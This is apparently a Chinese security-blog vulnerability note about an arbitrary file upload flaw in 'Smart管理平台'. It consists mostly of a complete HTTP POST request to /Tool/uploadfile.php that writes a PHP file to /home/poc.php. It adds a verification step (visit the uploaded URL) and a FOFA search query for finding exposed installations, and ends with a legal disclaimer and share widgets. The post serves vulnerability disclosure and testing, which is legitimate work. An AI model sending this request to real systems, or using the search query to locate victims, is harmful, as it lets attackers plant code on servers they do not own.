漏洞影响范围
多版本
漏洞复现
poc
POST
/Tool/uploadfile.php?
HTTP/1.1
Host
: 192.168.10.7:8443
Cookie
: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Content-Type
: multipart/form-data; boundary=---------------------------123
Content-Length
: 294
Upgrade-Insecure-Requests
: 1
Sec-Fetch-Dest
: document
Sec-Fetch-Mode
: navigate
Sec-Fetch-Site
: same-origin
Sec-Fetch-User
: ?1
Connection
: close
-----------------------------
123
Content-Disposition: form-
data
; name=
"file_upload"
; filename=
"contents.php"
Content-Type: application/octet-stream
poc
-----------------------------
123
Content-Disposition: form-
data
; name=
"txt_path"
/home/poc.php
-----------------------------
123
--
漏洞复现
-
出现以下信息代表漏洞存在
2.访问上传文件url+home/poc.php
搜索语法
fofa:"Smart管理平台"
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论